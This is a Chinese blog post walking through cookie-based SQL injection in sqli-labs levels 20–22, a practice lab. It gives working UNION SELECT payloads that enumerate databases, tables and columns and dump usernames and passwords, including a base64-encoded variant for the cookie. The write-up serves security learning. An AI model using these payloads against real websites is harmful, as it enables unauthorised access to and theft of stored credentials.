sql-lab闯关之20-22

LESS20

1.在进入20关之后,我们登录发现生成了COOKIE ,其中 uname=admin,接下来我们可以使用火炉浏览器中的cookie-editor插件进行操作注入,也可以使用burp来操作。

 

2.接下来我们通过使用插件cookie-editor来进行操作,将其中的uname改为admin‘,保存后刷新网页,结果提示语法错误,我们判断有注入漏洞。

 

 3.构造注入语句
输入 ’ union select 1,2,3#   

 

 我们成功的查看到每一列判断到了回显位置,在此之前我们其实还有一个步骤通过order by 判断列数,被我省略了,可以输入' order by 3 # 来进行判断

4.查库
输入:' union select 1,2,group_concat(schema_name) from information_schema.schemata #

 

 


5.查表
输入:' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

 


6.查列
输入:' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

 

 


7.查字段
输入:' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users#

 

 


LESS21
1.使用我们已知的用户名密码登录(admin),我们发现uname=YWRtaW4,其实这就是对Cookie进行了BASE64编码转换。

 

 2.来到在线解密工具(URL:https://tool.oschina.net/encrypt?type=3),对YWRtaW4=解密。 

 

 3.构造注入语句。

 

 经过测试我们可以发现需要用 ’)进行包裹。
输入:') union select 1,2,3# 
经过转码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIw==

 

 好了,我们已经知道注入格式了,接下来的步骤与20关相同,可以参考,记得转码保存后刷新页面。


LESS22

这一关只是在注入构造语句上与less21不一样。

less-21是:') union select 1,2,3#

less-22是:" union select 1,2,3#

 

至此,sqli-labs基础部分全部完成。

 

posted @ 2020-03-03 01:13  陈子硕  阅读(466)  评论(0编辑  收藏  举报